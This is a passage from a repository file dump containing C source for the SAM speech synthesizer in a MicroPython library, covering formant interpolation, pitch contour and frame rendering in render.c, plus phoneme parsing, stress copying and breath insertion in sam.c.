the\n// pitch from the CENTER of the current phoneme to the CENTER of the next\n// phoneme.\n//\n// Here are two examples. First, For example, consider the word \"SUN\" (S AH N)\n//\n//    Phoneme   Duration    BlendWeight    OutBlendFrames    InBlendFrames\n//    S         2           18             1                 3\n//    AH        8           2              4                 4\n//    N         7           8              1                 2\n//\n// The formant transitions for the output frames are calculated as follows:\n//\n//     flags ampl1 freq1 ampl2 freq2 ampl3 freq3 pitch\n//    ------------------------------------------------\n// S\n//    241     0     6     0    73     0    99    61   Use S (weight 18) for transition instead of AH (weight 2)\n//    241     0     6     0    73     0    99    61   <-- (OutBlendFrames-1) = (1-1) = 0 frames\n// AH\n//      0     2    10     2    66     0    96    59 * <-- InBlendFrames = 3 frames\n//      0     4    14     3    59     0    93    57 *\n//      0     8    18     5    52     0    90    55 *\n//      0    15    22     9    44     1    87    53\n//      0    15    22     9    44     1    87    53   \n//      0    15    22     9    44     1    87    53   Use N (weight 8) for transition instead of AH (weight 2).\n//      0    15    22     9    44     1    87    53   Since N is second phoneme, reverse the IN and OUT values.\n//      0    11    17     8    47     1    98    56 * <-- (InBlendFrames-1) = (2-1) = 1 frames\n// N\n//      0     8    12     6    50     1   109    58 * <-- OutBlendFrames = 1\n//      0     5     6     5    54     0   121    61\n//      0     5     6     5    54     0   121    61\n//      0     5     6     5    54     0   121    61\n//      0     5     6     5    54     0   121    61\n//      0     5     6     5    54     0   121    61\n//      0     5     6     5    54     0   121    61\n//\n// Now, consider the reverse \"NUS\" (N AH S):\n//\n//     flags ampl1 freq1 ampl2 freq2 ampl3 freq3 pitch\n//    ------------------------------------------------\n// N\n//     0     5     6     5    54     0   121    61\n//     0     5     6     5    54     0   121    61\n//     0     5     6     5    54     0   121    61\n//     0     5     6     5    54     0   121    61\n//     0     5     6     5    54     0   121    61   \n//     0     5     6     5    54     0   121    61   Use N (weight 8) for transition instead of AH (weight 2)\n//     0     5     6     5    54     0   121    61   <-- (OutBlendFrames-1) = (1-1) = 0 frames\n// AH\n//     0     8    11     6    51     0   110    59 * <-- InBlendFrames = 2\n//     0    11    16     8    48     0    99    56 *\n//     0    15    22     9    44     1    87    53   Use S (weight 18) for transition instead of AH (weight 2)\n//     0    15    22     9    44     1    87    53   Since S is second phoneme, reverse the IN and OUT values.\n//     0     9    18     5    51     1    90    55 * <-- (InBlendFrames-1) = (3-1) = 2\n//     0     4    14     3    58     1    93    57 *\n// S\n//   241     2    10     2    65     1    96    59 * <-- OutBlendFrames = 1\n//   241     0     6     0    73     0    99    61\n\n\tA = 0;\n\tmem44 = 0;\n\tmem49 = 0; // mem49 starts at as 0\n\tX = 0;\n\twhile(1) //while No. 1\n\t{\n         // get the current and following phoneme\n\t\tunsigned char Y = sam->common.phoneme_output[X].index;\n        A = sam->common.phoneme_output[X+1].index;\n\t\tX++;\n\n\t\t// exit loop at end token\n\t\tif (A == PHONEME_END) break;//goto pos47970;\n \n        // get the ranking of each phoneme\n\t\tX = A;\n\t\tmem56 = blendRank[A];\n\t\tA = blendRank[Y];\n\t\t\n\t\t// compare the rank - lower rank value is stronger\n\t\tif (A == mem56)\n\t\t{\n            // same rank, so use out blend lengths from each phoneme\n\t\t\tphase1 = outBlendLength[Y];\n\t\t\tphase2 = outBlendLength[X];\n\t\t} else\n\t\tif (A < mem56)\n\t\t{\n            // first phoneme is stronger, so us it's blend lengths\n\t\t\tphase1 = inBlendLength[X];\n\t\t\tphase2 = outBlendLength[X];\n\t\t} else\n\t\t{\n            // second phoneme is stronger, so use it's blend lengths\n            // note the out/in are swapped\n\t\t\tphase1 = outBlendLength[Y];\n\t\t\tphase2 = inBlendLength[Y];\n\t\t}\n\n\t\tY = mem44;\n\t\tA = mem49 + sam->common.phoneme_output[mem44].length; // A is mem49 + length\n\t\tmem49 = A; // mem49 now holds length + position\n\t\tA = A + phase2; //Maybe Problem because of carry flag\n\n\t\t//47776: ADC 42\n\t\tspeedcounter = A;\n\t\tmem47 = 168;\n\t\tphase3 = mem49 - phase1; // what is mem49\n\t\tA = phase1 + phase2; // total transition?\n\t\tmem38 = A;\n\t\t\n\t\tX = A;\n\t\tX -= 2;\n\t\tif ((X & 128) == 0)\n\t\tdo   //while No. 2\n\t\t{\n\t\t\t//pos47810:\n\n          // mem47 is used to index the tables:\n          // 168  pitches[]\n          // 169  frequency1\n          // 170  frequency2\n          // 171  frequency3\n          // 172  amplitude1\n          // 173  amplitude2\n          // 174  amplitude3\n\n\t\t\tmem40 = mem38;\n\n\t\t\tif (mem47 == 168)     // pitch\n\t\t\t{\n                      \n               // unlike the other values, the pitches[] interpolates from \n               // the middle of the current phoneme to the middle of the \n               // next phoneme\n                      \n\t\t\t\tunsigned char mem36, mem37;\n\t\t\t\t// half the width of the current phoneme\n\t\t\t\tmem36 = sam->common.phoneme_output[mem44].length >> 1;\n\t\t\t\t// half the width of the next phoneme\n\t\t\t\tmem37 = sam->common.phoneme_output[mem44+1].length >> 1;\n\t\t\t\t// sum the values\n\t\t\t\tmem40 = mem36 + mem37; // length of both halves\n\t\t\t\tmem37 += mem49; // center of next phoneme\n\t\t\t\tmem36 = mem49 - mem36; // center index of current phoneme\n\t\t\t\tA = Read(sam, mem47, mem37); // value at center of next phoneme - end interpolation value\n\t\t\t\t//A = mem[address];\n\t\t\t\t\n\t\t\t\tY = mem36; // start index of interpolation\n\t\t\t\tmem53 = A - Read(sam, mem47, mem36); // value to center of current phoneme\n\t\t\t} else\n\t\t\t{\n                // value to interpolate to\n\t\t\t\tA = Read(sam, mem47, speedcounter);\n\t\t\t\t// position to start interpolation from\n\t\t\t\tY = phase3;\n\t\t\t\t// value to interpolate from\n\t\t\t\tmem53 = A - Read(sam, mem47, phase3);\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t// calculate change per frame\n\t\t\tmem50 = (((signed char)(mem53) < 0) ? 128 : 0);\n\t\t\tmem51 = abs((signed char)mem53) % mem40;\n\t\t\tmem53 = (unsigned char)((signed char)(mem53) / mem40);\n\n            // interpolation range\n\t\t\tX = mem40; // number of frames to interpolate over\n\t\t\tY = phase3; // starting frame\n\n\n            // linearly interpolate values\n\n\t\t\tmem56 = 0;\n\t\t\t//47907: CLC\n\t\t\t//pos47908:\n\t\t\twhile(1)     //while No. 3\n\t\t\t{\n\t\t\t\tA = Read(sam, mem47, Y) + mem53; //carry alway cleared\n\n\t\t\t\tmem48 = A;\n\t\t\t\tY++;\n\t\t\t\tX--;\n\t\t\t\tif(X == 0) break;\n\n\t\t\t\tmem56 += mem51;\n\t\t\t\tif (mem56 >= mem40)  //???\n\t\t\t\t{\n\t\t\t\t\tmem56 -= mem40; //carry? is set\n\t\t\t\t\t//if ((mem56 & 128)==0)\n\t\t\t\t\tif ((mem50 & 128)==0)\n\t\t\t\t\t{\n\t\t\t\t\t\t//47935: BIT 50\n\t\t\t\t\t\t//47937: BMI 47943\n\t\t\t\t\t\tif(mem48 != 0) mem48++;\n\t\t\t\t\t} else mem48--;\n\t\t\t\t}\n\t\t\t\t//pos47945:\n\t\t\t\tWrite(sam, mem47, Y, mem48);\n\t\t\t} //while No. 3\n\n\t\t\t//pos47952:\n\t\t\tmem47++;\n\t\t\t//if (mem47 != 175) goto pos47810;\n\t\t} while (mem47 != 175);     //while No. 2\n\t\t//pos47963:\n\t\tmem44++;\n\t\tX = mem44;\n\t}  //while No. 1\n\n\t//goto pos47701;\n\t//pos47970:\n\n    // add the length of this phoneme\n\tmem48 = mem49 + sam->common.phoneme_output[mem44].length;\n\t\n\n// ASSIGN PITCH CONTOUR\n//\n// This subtracts the F1 frequency from the pitch to create a\n// pitch contour. Without this, the output would be at a single\n// pitch level (monotone).\n\n\t\n\t// don't adjust pitch if in sing mode\n\tif (!sam->common.singmode)\n\t{\n        // iterate through the buffer\n\t\tfor(i=0; i<RENDER_FRAMES; i++) {\n            // subtract half the frequency of the formant 1.\n            // this adds variety to the voice\n    \t\tsam->render.pitch[i] -= (sam->render.freq_amp[i].freq1 >> 1);\n        }\n\t}\n    OutputFrames(sam, mem48);\n}\n\nvoid OutputFrames(sam_memory *sam, unsigned char frame_count) {\n\n\tunsigned char phase1 = 0;\n\tunsigned char phase2 = 0;\n\tunsigned char phase3 = 0;\n\tunsigned char speedcounter = 72; //sam standard speed\n    unsigned char mem66 = 0;\n\n    // RESCALE AMPLITUDE\n    // Rescale volume from decibels to a linear scale.\n\tfor(int i=RENDER_FRAMES-1; i>=0; i--)\n\t{\n\t\tsam->render.freq_amp[i].amp1 = amplitudeRescale[sam->render.freq_amp[i].amp1];\n\t\tsam->render.freq_amp[i].amp2 = amplitudeRescale[sam->render.freq_amp[i].amp2];\n\t\tsam->render.freq_amp[i].amp3 = amplitudeRescale[sam->render.freq_amp[i].amp3];\n\t}\n\n\tunsigned char Y = 0;\n\tunsigned char A = sam->render.pitch[0];\n\tunsigned char glottal_pulse = A;\n\tunsigned char count = A - (A>>2);     // 3/4*A ???\n\n    if (debug)\n    {\n        PrintOutput(sam->render.flags, sam->render.freq_amp, sam->render.pitch, frame_count);\n    }\n\n// PROCESS THE FRAMES\n//\n// In traditional vocal synthesis, the glottal pulse drives filters, which\n// are attenuated to the frequencies of the formants.\n//\n// SAM generates these formants directly with sin and rectangular waves.\n// To simulate them being driven by the glottal pulse, the waveforms are\n// reset at the beginning of each glottal pulse.\n\n\t//finally the loop for sound output\n\t//pos48078:\n\twhile(1)\n\t{\n        // get the sampled information on the phoneme\n\t\tA = sam->render.flags[Y];\n\t\tunsigned char sample = A;\n\t\t\n\t\t// unvoiced sampled phoneme?\n\t\tA = A & 248;\n\t\tif(A != 0)\n\t\t{\n            // render the sample for the phoneme\n\t\t\tY = RenderSample(sam, &mem66, sample, Y);\n\t\t\t\n\t\t\t// skip ahead two in the frame buffer\n\t\t\tY += 2;\n\t\t\tframe_count -= 2;\n\t\t} else\n\t\t{\n            // simulate the glottal pulse and formants\n\t\t\tunsigned char accum = multtable[sinus[phase1] | sam->render.freq_amp[Y].amp1];\n\n\t\t\tint carry = 0;\n\t\t\tif ((accum+multtable[sinus[phase2] | sam->render.freq_amp[Y].amp2] ) > 255) carry = 1;\n\t\t\taccum += multtable[sinus[phase2] | sam->render.freq_amp[Y].amp2];\n\t\t\tA = accum + multtable[rectangle[phase3] | sam->render.freq_amp[Y].amp3] + (carry?1:0);\n\t\t\tA = ((A + 136) & 255) >> 4; //there must be also a carry\n\t\t\t//mem[54296] = A;\n\t\t\t\n\t\t\t// output the accumulated value\n\t\t\tOutput(0, A);\n\t\t\tspeedcounter--;\n\t\t\tif (speedcounter != 0) goto pos48155;\n\t\t\tY++; //go to next amplitude\n\t\t\t\n\t\t\t// decrement the frame count\n\t\t\tframe_count--;\n\t\t}\n\t\t\n\t\t// if the frame count is zero, exit the loop\n\t\tif(frame_count == 0) \treturn;\n\t\tspeedcounter = sam->common.speed;\npos48155:\n         \n        // decrement the remaining length of the glottal pulse\n\t\tglottal_pulse--;\n\t\t\n\t\t// finished with a glottal pulse?\n\t\tif(glottal_pulse == 0)\n\t\t{\npos48159:\n            // fetch the next glottal pulse length\n\t\t\tA = sam->render.pitch[Y];\n\t\t\tglottal_pulse = A;\n\t\t\tA = A - (A>>2);\n\t\t\tcount = A;\n\t\t\t\n\t\t\t// reset the formant wave generators to keep them in \n\t\t\t// sync with the glottal pulse\n\t\t\tphase1 = 0;\n\t\t\tphase2 = 0;\n\t\t\tphase3 = 0;\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t// decrement the count\n\t\tcount--;\n\t\t\n\t\t// is the count non-zero and the sampled flag is zero?\n\t\tif((count != 0) || (sample == 0)) {\n            // reset the phase of the formants to match the pulse\n\t\t\tphase1 += sam->render.freq_amp[Y].freq1;\n\t\t\tphase2 += sam->render.freq_amp[Y].freq2;\n\t\t\tphase3 += sam->render.freq_amp[Y].freq3;\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t// voiced sampled phonemes interleave the sample with the\n\t\t// glottal pulse. The sample flag is non-zero, so render\n\t\t// the sample for the phoneme.\n\t\tY = RenderSample(sam, &mem66, sample, Y);\n\t\tgoto pos48159;\n\t}\n}\n\n\n// Create a rising or falling inflection 30 frames prior to \n// index X. A rising inflection is used for questions, and \n// a falling inflection is used for statements.\n\nvoid AddInflection(sam_memory* sam, unsigned char mem48, unsigned char phase1, unsigned char punctuation)\n{\n\tunsigned char A = punctuation;\n\tint Atemp = A;\n\t\n\t// backup 30 frames\n\tA = A - 30; \n\t// if index is before buffer, point to start of buffer\n\tif (Atemp <= 30) A=0;\n\tunsigned char X = A;\n\n\t// FIXME: Explain this fix better, it's not obvious\n\t// ML : A =, fixes a problem with invalid pitch with '.'\n\twhile( (A=sam->render.pitch[X]) == 127) X++;\n\n\n    while(1) {\n\n        // add the inflection direction\n        A += mem48;\n        phase1 = A;\n\n        // set the inflection\n        sam->render.pitch[X] = A;\n        do {\n\n            // increment the position\n            X++;\n\n            // exit if the punctuation has been reached\n            if (X == punctuation) return; //goto pos47615;\n        } while (sam->render.pitch[X] == 255);\n        A = phase1;\n    }\n}\n\nstatic inline unsigned char trans(unsigned char mem39212, unsigned char mem39213) {\n    return (mem39212*mem39213) >> 7;\n}\n\n/*\n    SAM's voice can be altered by changing the frequencies of the\n    mouth formant (F1) and the throat formant (F2). Only the voiced\n    phonemes (5-29 and 48-53) are altered.\n*/\n\nstatic const unsigned char recalculate[] = {\n        0, 0, 0, 0, 0, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n        1, 1, 1, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0\n};\n\nstatic const unsigned char mouth_formants[] = {\n    0, 0, 0, 0, 0, 10, 14, 19, 24, 27,\n    23, 21, 16, 20, 14, 18, 14, 18, 18, 16,\n    13, 15, 11, 18, 14, 11, 9, 6, 6, 6,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 19, 27,\n    21, 27, 18, 13, 0,\n};\n\n\nunsigned char get_freq1(unsigned char pos, unsigned char mouth) {\n    if (recalculate[pos]) {\n        return trans(mouth, mouth_formants[pos]);\n    } else {\n        return freq1data[pos];\n    }\n}\n\nstatic const unsigned char throat_formants[] = {\n    0, 0, 0, 0, 0, 84, 73, 67, 63, 40,\n    44, 31, 37, 45, 73, 49, 36, 30, 51, 37,\n    29, 69, 24, 50, 30, 24, 83, 46, 54, 86,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 72, 39,\n    31, 43, 30, 34, 0,\n};\n\nunsigned char get_freq2(unsigned char pos, unsigned char throat) {\n    if (recalculate[pos]) {\n        return trans(throat, throat_formants[pos]);\n    } else {\n        return freq2data[pos];\n    }\n}\n"
  },
  {
    "path": "micropython/source/lib/sam/render.h",
    "content": "#ifndef RENDER_H\n#define RENDER_H\n\n#include \"sam.h\"\n\nvoid Render(sam_memory* sam);\nvoid SetMouthThroat(unsigned char mouth, unsigned char throat);\nvoid OutputFrames(sam_memory *sam, unsigned char frame_count);\n\n/** Scaling c64 rate to sample rate */\n// Rate for 22.05kHz\n// #define SCALE_RATE(x) (((x)*1310)>>16)\n// Rate for 7.8125KHz\n#define SCALE_RATE(x) (((x)*420)>>16)\n\n#endif\n"
  },
  {
    "path": "micropython/source/lib/sam/sam.c",
    "content": "#include <stdio.h>\r\n#include <string.h>\r\n#include <stdlib.h>\r\n#include \"debug.h\"\r\n#include \"sam.h\"\r\n#include \"render.h\"\r\n#include \"SamTabs.h\"\r\n\r\nextern int debug;\r\n\r\nchar *sam_error = \"OK\";\r\n\r\n// contains the final soundbuffer\r\nint bufferpos=0;\r\n\r\n\r\nvoid SetInput(sam_memory* sam, const char *_input, unsigned int l)\r\n{\r\n    sam->prepare.input = _input;\r\n    sam->prepare.input_length = l;\r\n}\r\n\r\nvoid Init(sam_memory* sam);\r\nint Parser1(sam_memory* sam);\r\nvoid Parser2(sam_memory* sam);\r\nint SAMMain(sam_memory* sam);\r\nvoid CopyStress(sam_memory* sam);\r\nvoid SetPhonemeLength(sam_memory* sam);\r\nvoid AdjustLengths(sam_memory* sam);\r\nvoid Code41240(sam_memory* sam);\r\nvoid Insert(sam_memory* sam, unsigned char position, unsigned char index, unsigned char length, unsigned char stress, unsigned char pitch);\r\nvoid InsertBreath(sam_memory* sam);\r\nvoid PrepareOutput(sam_memory* sam);\r\n\r\n// 168=pitches \r\n// 169=frequency1\r\n// 170=frequency2\r\n// 171=frequency3\r\n// 172=amplitude1\r\n// 173=amplitude2\r\n// 174=amplitude3\r\n\r\n\r\nvoid Init(sam_memory* sam)\r\n{\r\n\tint i;\r\n\r\n\tbufferpos = 0;\r\n\r\n\t/*\r\n\tfreq2data = &mem[45136];\r\n\tfreq1data = &mem[45056];\r\n\tfreq3data = &mem[45216];\r\n\t*/\r\n\t//pitches = &mem[43008];\r\n\t/*\r\n\tfrequency1 = &mem[43264];\r\n\tfrequency2 = &mem[43520];\r\n\tfrequency3 = &mem[43776];\r\n\t*/\r\n\t/*\r\n\tamplitude1 = &mem[44032];\r\n\tamplitude2 = &mem[44288];\r\n\tamplitude3 = &mem[44544];\r\n\t*/\r\n\t//phoneme = &mem[39904];\r\n\t/*\r\n\tampl1data = &mem[45296];\r\n\tampl2data = &mem[45376];\r\n\tampl3data = &mem[45456];\r\n\t*/\r\n\r\n\tfor(i=0; i<INPUT_PHONEMES; i++)\r\n\t{\r\n\t\tsam->prepare.phoneme_input[i].stress = 0;\r\n\t\tsam->prepare.phoneme_input[i].length = 0;\r\n\t}\r\n\t\r\n\tfor(i=0; i<OUTPUT_PHONEMES; i++)\r\n\t{\r\n\t\tsam->common.phoneme_output[i].index = 0;\r\n\t\tsam->common.phoneme_output[i].stress = 0;\r\n        sam->common.phoneme_output[i].length = 0;\r\n        sam->common.phoneme_output[i].pitch = 0;\r\n\t}\r\n\tsam->prepare.phoneme_input[INPUT_PHONEMES-1].index = PHONEME_END; //to prevent buffer overflow // ML : changed from 32 to 255 to stop freezing with long inputs\r\n    sam_error = \"OK\";\r\n}\r\n\r\nvoid  ClearInput(sam_memory* sam) {\r\n    sam->prepare.input = NULL;\r\n    sam->prepare.input_length = 0;\r\n}\r\n\r\nint SAMMain(sam_memory* sam)\r\n{\r\n\tInit(sam);\r\n\r\n    int err = !Parser1(sam);\r\n    ClearInput(sam);\r\n    if (err) return 0;\r\n\r\n\tif (debug) {\r\n\t\tPrintPhonemes(\"Input phonemes\", sam->prepare.phoneme_input);\r\n    }\r\n    Parser2(sam);\r\n    CopyStress(sam);\r\n    SetPhonemeLength(sam);\r\n    AdjustLengths(sam);\r\n\tCode41240(sam);\r\n    unsigned char X = 0;\r\n\tdo\r\n\t{\r\n\t\tunsigned char A = sam->prepare.phoneme_input[X].index;\r\n\t\tif (A > 80)\r\n\t\t{\r\n            if (A == PHONEME_END)\r\n                break;\r\n            sam_error = \"INTERNAL ERROR: Illegal phoneme index\";\r\n            return 0;\r\n\t\t}\r\n\t\tX++;\r\n\t} while (X < INPUT_PHONEMES);\r\n\r\n    if (debug)\r\n        printf(\"Insert Breadth\\r\\n\");\r\n\tInsertBreath(sam);\r\n\r\n    if (debug) {\r\n        PrintPhonemes(\"Processed phonemes\", sam->prepare.phoneme_input);\r\n    }\r\n\r\n\tPrepareOutput(sam);\r\n    if (strcmp(sam_error, \"OK\"))\r\n        return 0;\r\n\treturn 1;\r\n}\r\n\r\n\r\n//void Code48547()\r\nvoid PrepareOutput(sam_memory* sam)\r\n{\r\n\tunsigned char A = 0;\r\n\tunsigned char X = 0;\r\n\tunsigned char Y = 0;\r\n\r\n\t//pos48551:\r\n\twhile(1)\r\n\t{\r\n\t\tA = sam->prepare.phoneme_input[X].index;\r\n\t\tif (A == PHONEME_END)\r\n\t\t{\r\n\t\t\tsam->common.phoneme_output[Y].index = PHONEME_END;\r\n\t\t\tRender(sam);\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (A == PHONEME_END_BREATH)\r\n\t\t{\r\n\t\t\tX++;\r\n\t\t\tint temp = X;\r\n\t\t\t//mem[48546] = X;\r\n\t\t\tsam->common.phoneme_output[Y].index = PHONEME_END;\r\n\t\t\tRender(sam);\r\n\t\t\t//X = mem[48546];\r\n\t\t\tX=temp;\r\n\t\t\tY = 0;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tif (A == 0)\r\n\t\t{\r\n\t\t\tX++;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tsam->common.phoneme_output[Y].index = A;\r\n\t\tsam->common.phoneme_output[Y].length = sam->prepare.phoneme_input[X].length;\r\n        sam->common.phoneme_output[Y].stress = sam->prepare.phoneme_input[X].stress;\r\n        sam->common.phoneme_output[Y].pitch = sam->prepare.phoneme_input[X].pitch;\r\n\t\tX++;\r\n\t\tY++;\r\n\t}\r\n}\r\n\r\nvoid InsertBreath(sam_memory* sam)\r\n{\r\n\tunsigned char index = 0;\r\n\tunsigned char frames = 0;\r\n\twhile(1)\r\n\t{\r\n\t\tunsigned char phoneme_id = sam->prepare.phoneme_input[index].index;\r\n\t\tif (phoneme_id == PHONEME_END)\r\n            return;\r\n        frames += sam->prepare.phoneme_input[index].length;\r\n\t\tif (frames >= RENDER_FRAMES-16)\r\n\t\t{\r\n            index++;\r\n            Insert(sam, index, 0, 0, 0, 0);\r\n            frames = 0;\r\n            index++;\r\n            Insert(sam, index, PHONEME_END_BREATH, 0, 0, 0);\r\n            frames = 0;\r\n        }\r\n        // If phoneme is punctuation, then insert a breath after it.\r\n        else if (phoneme_id < PHONEME_END_BREATH && (flags2[phoneme_id]&1))\r\n        {\r\n            index++;\r\n            Insert(sam, index, PHONEME_END_BREATH, 0, 0, 0);\r\n            frames = 0;\r\n        }\r\n        index++;\r\n\t}\r\n\r\n}\r\n\r\n// Iterates through the phoneme buffer, copying the stress value from\r\n// the following phoneme under the following circumstance:\r\n       \r\n//     1. The current phoneme is voiced, excluding plosives and fricatives\r\n//     2. The following phoneme is voiced, excluding plosives and fricatives, and\r\n//     3. The following phoneme is stressed\r\n//\r\n//  In those cases, the stress value+1 from the following phoneme is copied.\r\n//\r\n// For example, the word LOITER is represented as LOY5TER, with as stress\r\n// of 5 on the diphtong OY. This routine will copy the stress value of 6 (5+1)\r\n// to the L that precedes it.\r\n\r\n\r\n//void Code41883()\r\nvoid CopyStress(sam_memory* sam)\r\n{\r\n    // loop thought all the phonemes to be output\r\n\tunsigned char pos=0; //mem66\r\n\twhile(1)\r\n\t{\r\n        // get the phomene\r\n\t\tunsigned char Y = sam->prepare.phoneme_input[pos].index;\r\n\t\t\r\n\t    // exit at end of buffer\r\n\t\tif (Y == PHONEME_END) return;\r\n\t\t\r\n\t\t// if CONSONANT_FLAG set, skip - only vowels get stress\r\n\t\tif ((flags[Y] & 64) == 0) {pos++; continue;}\r\n\t\t// get the next phoneme\r\n\t\tY = sam->prepare.phoneme_input[pos+1].index;\r\n\t\tif (Y == PHONEME_END) //prevent buffer overflow\r\n\t\t{\r\n\t\t\tpos++; continue;\r\n\t\t} else\r\n\t\t// if the following phoneme is a vowel, skip\r\n\t\tif ((flags[Y] & 128) == 0)  {pos++; continue;}\r\n\r\n        // get the stress value at the next position\r\n\t\tY = sam->prepare.phoneme_input[pos+1].stress;\r\n\t\t\r\n\t\t// if next phoneme is not stressed, skip\r\n\t\tif (Y == 0)  {pos++; continue;}\r\n\r\n\t\t// if next phoneme is not a VOWEL OR ER, skip\r\n\t\tif ((Y & 128) != 0)  {pos++; continue;}\r\n\r\n\t\t// copy stress from prior phoneme to this one\r\n\t\tsam->prepare.phoneme_input[pos].stress = Y+1;\r\n\t\t\r\n\t\t// advance pointer\r\n\t\tpos++;\r\n\t}\r\n\r\n}\r\n\r\n\r\n//void Code41014()\r\nvoid Insert(sam_memory* sam, unsigned char position/*var57*/, unsigned char index, unsigned char length, unsigned char stress, unsigned char pitch)\r\n{\r\n\tint i;\r\n\tfor(i=INPUT_PHONEMES-3; i >= position; i--) // ML : always keep last safe-guarding.\r\n\t{\r\n        sam->prepare.phoneme_input[i+1] = sam->prepare.phoneme_input[i];\r\n\t}\r\n\r\n\tsam->prepare.phoneme_input[position].index = index;\r\n\tsam->prepare.phoneme_input[position].length = length;\r\n    sam->prepare.phoneme_input[position].stress = stress;\r\n    sam->prepare.phoneme_input[position].pitch = pitch;\r\n\treturn;\r\n}\r\n\r\n// The input[] buffer contains a string of phonemes and stress markers along\r\n// the lines of:\r\n//\r\n//     DHAX KAET IHZ AH5GLIY. <0x9B>\r\n//\r\n// The byte 0x9B marks the end of the buffer. Some phonemes are 2 bytes \r\n// long, such as \"DH\" and \"AX\". Others are 1 byte long, such as \"T\" and \"Z\". \r\n// There are also stress markers, such as \"5\" and \".\".\r\n//\r\n// The first character of the phonemes are stored in the table signInputTable1[].\r\n// The second character of the phonemes are stored in the table signInputTable2[].\r\n// The stress characters are arranged in low to high stress order in stressInputTable[].\r\n// \r\n// The following process is used to parse the input[] buffer:\r\n// \r\n// Repeat until the <0x9B> character is reached:\r\n//\r\n//        First, a search is made for a 2 character match for phonemes that do not\r\n//        end with the '*' (wildcard) character. On a match, the index of the phoneme \r\n//        is added to phonemeIndex[] and the buffer position is advanced 2 bytes.\r\n//\r\n//        If this fails, a search is made for a 1 character match against all\r\n//        phoneme names ending with a '*' (wildcard). If this succeeds, the \r\n//        phoneme is added to phonemeIndex[] and the buffer position is advanced\r\n//        1 byte.\r\n// \r\n//        If this fails, search for a 1 character match in the stressInputTable[].\r\n//        If this succeeds, the stress value is placed in the last stress[] table\r\n//        at the same index of the last added phoneme, and the buffer position is\r\n//        advanced by 1 byte.\r\n//\r\n//        If this fails, return a 0.\r\n//\r\n// On success:\r\n//\r\n//    1. phonemeIndex[] will contain the index of all the phonemes.\r\n//    2. The last index in phonemeIndex[] will be PHONEME_END.\r\n//    3. stress[] will contain the stress value for each phoneme\r\n\r\n// input[] holds the string of phonemes, each two bytes wide\r\n// signInputTable1[] holds the first character of each phoneme\r\n// signInputTable2[] holds te second character of each phoneme\r\n// phonemeIndex[] holds the indexes of the phonemes after parsing input[]\r\n//\r\n// The parser scans through the input[], finding the names of the phonemes\r\n// by searching signInputTable1[] and signInputTable2[]. On a match, it\r\n// copies the index of the phoneme into the phonemeIndexTable[].\r\n//\r\n// The character <0x9B> marks the end of text in input[]. When it is reached,\r\n// the index PHONEME_END is placed at the end of the phonemeIndexTable[], and the\r\n// function returns with a 1 indicating success.\r\nint Parser1(sam_memory* sam)\r\n{\r\n\tint i;\r\n\tunsigned char sign1;\r\n\tunsigned char sign2;\r\n\tunsigned char position = 0;\r\n\tunsigned char X = 0;\r\n\tunsigned char A = 0;\r\n\tunsigned char Y = 0;\r\n\t\r\n\t// CLEAR THE STRESS TABLE\r\n\tfor(i=0; i<INPUT_PHONEMES; i++)\r\n\t\tsam->prepare.phoneme_input[i].stress = 0;\r\n\r\n  // THIS CODE MATCHES THE PHONEME LETTERS TO THE TABLE\r\n\t// pos41078:\r\n\twhile(1)\r\n\t{\r\n        if (position >= INPUT_PHONEMES) {\r\n            // Run out of space for phonemes -- This won't happen with a string from the reciter,\r\n            // but can happen with manually created phonetic input.\r\n            sam_error = \"Phonemes too long\";\r\n            return 0;\r\n        }\r\n\t\t// TEST FOR END OF STRING\r\n\t\tif (X >= sam->prepare.input_length)\r\n\t\t{\r\n           // MARK ENDPOINT AND RETURN\r\n\t\t\tsam->prepare.phoneme_input[position].index = PHONEME_END;      //mark endpoint\r\n\t\t\t// REACHED END OF PHONEMES, SO EXIT\r\n\t\t\treturn 1;       //all ok\r\n\t\t}\r\n\r\n        // GET THE FIRST CHARACTER FROM THE PHONEME BUFFER\r\n        sign1 = sam->prepare.input[X];\r\n\r\n        if (sign1 > 96)\r\n            sign1 -= 32;\r\n\r\n\t\t// GET THE NEXT CHARACTER FROM THE BUFFER\r\n\t\tX++;\r\n        if (X == sam->prepare.input_length)\r\n        {\r\n            sign2 = 0;\r\n        } else {\r\n            sign2 = sam->prepare.input[X];\r\n        }\r\n\r\n        if (sign2 > 96)\r\n            sign2 -= 32;\r\n\r\n        if (sign1 == '#') {\r\n            unsigned pitch = sign2 - '0';\r\n            if (pitch > 9) {\r\n                sam_error = \"Illegal pitch\";\r\n                return 0;\r\n            }\r\n            X++;\r\n            while (X < sam->prepare.input_length && ((unsigned)(sam->prepare.input[X] - '0')) < 10) {\r\n                pitch *= 10;\r\n                pitch += sam->prepare.input[X] - '0';\r\n                X++;\r\n            }\r\n            if (pitch > 255) {\r\n                sam_error = \"Illegal pitch\";\r\n                return 0;\r\n            }\r\n            sam->common.pitch = pitch;\r\n            continue;\r\n        }\r\n\r\n\t\t// NOW sign1 = FIRST CHARACTER OF PHONEME, AND sign2 = SECOND CHARACTER OF PHONEME\r\n\r\n       // TRY TO MATCH PHONEMES ON TWO TWO-CHARACTER NAME\r\n       // IGNORE PHONEMES IN TABLE ENDING WITH WILDCARDS\r\n\r\n       // SET INDEX TO 0\r\n\t\tY = 0;\r\npos41095:\r\n         \r\n         // GET FIRST CHARACTER AT POSITION Y IN signInputTable\r\n         // --> should change name to PhonemeNameTable1\r\n\t\tA = signInputTable1[Y];\r\n\t\t\r\n\t\t// FIRST CHARACTER MATCHES?\r\n\t\tif (A == sign1)\r\n\t\t{\r\n           // GET THE CHARACTER FROM THE 